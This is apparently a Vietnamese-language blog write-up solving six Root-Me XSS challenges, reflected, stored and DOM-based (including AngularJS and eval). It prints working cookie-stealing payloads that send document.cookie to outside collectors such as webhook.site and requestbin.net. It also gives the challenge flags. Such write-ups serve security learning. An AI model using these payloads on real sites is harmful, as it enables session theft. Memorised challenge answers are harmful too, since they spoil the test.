[Write-Up] – Rootme [XSS challenge]

1. XSS – Reflected
  • Chall này khá giống một cửa hàng, check từng mục thì thấy một danh sách các sản phẩm
  • Có một điểm đáng chú ý là url của trang web
  • Có một thuộc tính p được gắn giá trị prices và mình thử thay bằng một giá trị khác
  • Có một tính năng rp cho admin và đó chắc hẳn là cách duy nhất để lấy flag, đầu tiên phải thử xem nó có bị XSS không, ban đầu mình thử
1<script>alert(1)</script>
  • Mình thử mở source lên check thì thấy đầu vào được gắn trong một thẻ <a>
  • Ý tưởng là mình sẽ truyền thêm một thuộc tính vào thẻ này và dẫn đến host của mình, ở đây mình dùng onmousemove khi trỏ chuột vào thì nó sẽ chạy đoạn js bên trong. Ban đầu mình thử
1test" onmousemove="alert(1)
  • Có thể thấy nó vẫn chưa thoát được thuộc tính href nên mình thử lại bằng cách thay nháy kép thành nháy đơn như sau:
1test' onmousemove='alert(1)
  • Lần này thì đã có thể XSS thành công, sau đó mình thực hiện gửi cookie của admin vào host của mình bằng payload:
1test' onmousemove='document.location="https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd=".concat(document.cookie)
  • flag=r3fL3ct3D_XsS_fTw
2. XSS – Stored 1
  • Chall này có một tính năng gửi tin nhắn và lưu trữ lại sau đó admin sẽ đọc chúng, ban đầu mình thử kiểm tra XSS bằng cách nhập vào message <script>alert(1)</script>
  • Tương tự như chall trên mình sẽ tải một đoạn script dẫn đến host của mình kèm theo admin, ở đây mình sử dụng thẻ img với thuộc tính onerror, nếu đường link dẫn đến ảnh bị lỗi thì nó sẽ tự động thực thi đoạn script bên trong mà không cần thao tác của người dùng
  • Payload:
1<imgsrc=1onerror='document.location="https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd="+document.cookie'/>
  • Đợi một lúc để bot nó đọc
  • ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6
3. XSS DOM Based – Introduction
  • Chall này có một thanh input và nó như một trò chơi nho nhỏ đoán số được sinh ra ngẫu nhiên và ghi lại input vào đoạn mã script
  • Mục đích của chall là lấy cookie admin nên không cần quan tâm quá nhiều vào trò chơi này. Vì nó có thêm 1 chức năng contact cho phép gửi đi một url đến admin đúng định dạng có sẵn
  • Ý tưởng sẽ là chèn XSS ở trang main sau đó gửi đường link đó đến cho admin và đánh cắp cookie
  • Ban đầu thử xem XSS có hoạt động không:
1test'; alert(1);//
  • Đoạn mã trên trình duyệt sẽ như thế này
  • Sau đó thì sử dụng document.location để đánh cắp cookie của admin:
1test'; document.location="https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd=".concat(document.cookie);//
  • Và gửi url cho admin như sau:
1http://challenge01.root-me.org/web-client/ch32/index.php?number=test%27;%20document.location=%22http://requestbin.net/r/crkucapp?cmd=%22.concat(document.cookie);//
  • flag=rootme{XSS_D0M_BaSed_InTr0}
4. XSS DOM based-AngularJS
  • Chall này có chức năng tạo pass theo username nhập vào, và username đầu vào cũng được ghi lại trong đoạn mã script
  • Tương tự thì nó cũng có chức năng contact admin và cho phép gửi url theo đúng định dạng
  • Cũng với ý tưởng như bài trên và mình thử lỗi XSS với chức năng ở Main bằng payload:
1test'; alert(1);//
  • Có vẻ như nháy đơn đã bị lọc bỏ, và còn một điều nữa đó chính là đầu vào được hiển thị trong Result for, và dựa trên tên chall này nên rất có thể đoạn code sẽ là Result for {{name}}, lúc này mình thử nhập vào payload:
1{{constructor.constructor("alert(1)")()}}

(đoạn mã này sử dụng hàm khởi tạo trong angular để có thể thực thi đoạn mã javascript bên trong ngoặc tròn)

  • Vậy là đã XSS được thành công, lúc này khúc mắc cuối cùng là việc bypass nháy đơn, thì mình có thử sử dụng HTML encode dấu nháy đơn thành  không ngờ một phát ăn ngay, payload hoàn chỉnh:
123{{constructor.constructor(&#x27;document.location="http://requestbin.net/r/crkucapp?cmd=".concat(document.cookie)&#x27;)()}}
  • Vì wordpress tự điều chỉnh kí tự bypass thành dấu nháy đơn nên mình phải thêm xuống dòng ở payload
  • url gửi đến admin
1http://challenge01.root-me.org/web-client/ch35/index.php?name=%7B%7Bconstructor.constructor%28%26%23x27%3Bdocument.location%3D%22http%3A%2F%2Frequestbin.net%2Fr%2Fcrkucapp%3Fcmd%3D%22.concat%28document.cookie%29%26%23x27%3B%29%28%29%7D%7D
  • Ngồi đợi con bot admin đểu lâu thật sự :v
  • flag=rootme{@NGu1@R_J$_1$_C001}
5. XSS DOM Based – Eval
  • Chall này với tính năng tính toán các phép tính thông qua hàm eval
  • Sau đó mình thử với payload: 1+1); alert(1);//
  • Kí tự ngoặc tròn đã bị filter để ngăn việc thoát khỏi hàm eval, đầu vào cũng chỉ nhận format nhất định được lọc bởi regex
  • Ngồi thử một lúc thì mình nhận ra regex chỉ kiểm tra phần đầu của input
  • Hàm eval có thể thực thi cả những đoạn mã js, vì không dùng được ngoặc tròn nên mình đã thử với document.location xem có hoạt động hay không:
11+1,document.location="http://requestbin.net/r/crkucapp"
  • Nó đã thực sự hoạt động vì thế mình chỉ cần gửi rp đến admin là lấy được flag
  • payload hoàn chỉnh:
11+1,document.location="http://requestbin.net/r/crkucapp?cmd="+document.cookie
  • url report đến admin:
1http://challenge01.root-me.org/web-client/ch34/?calculation=1%2B1%2Cdocument.location%3D%22http%3A%2F%2Frequestbin.net%2Fr%2Fcrkucapp%3Fcmd%3D%22%2Bdocument.cookie
  • Kết quả
  • flag=rootme{Eval_Is_DangER0us}
6. XSS – Stored 2
  • Chức năng của trang web khá giống với chall Stored 1, cũng là gửi tin nhắn và lưu chúng lại chờ admin đọc, nhưng phần message và title đều đã được làm sạch và không thể XSS được
  • Để ý thấy có một thứ mà Stored 1 không có đó là phần status được thêm vào khá đáng ngờ, sau khi kiểm tra source thì thấy nó được thêm vào trong 1 thẻ i
  • Mình liền thử dùng burp suite xem có thể thay đổi được status không thì thấy status được gửi qua phần cookie và có thể tùy ý thay đổi
  • Sau đó mình liền test thử xem chỗ này có bị XSS không bằng cách thoát thẻ i ra và chèn đoạn mã script vào:
1"><script>alert(1)</script><p class="
  • Mọi thứ khá thuận lợi, đến đây mình tiếp tục sử dụng payload giống như ở chall Stored 1 để lấy cookie của admin
1"><imgsrc=1onerror='document.location="http://requestbin.net/r/crkucapp?cmd="+document.cookie'/><p class="
  • Sau đó ngồi đợi con bot gửi flag về cho mình là xong
  • ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F

Chúc các bạn một ngày tốt lành !!

Tham khảo:

  • Em Quốc Anh

Published by Nhat Truong

Hi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: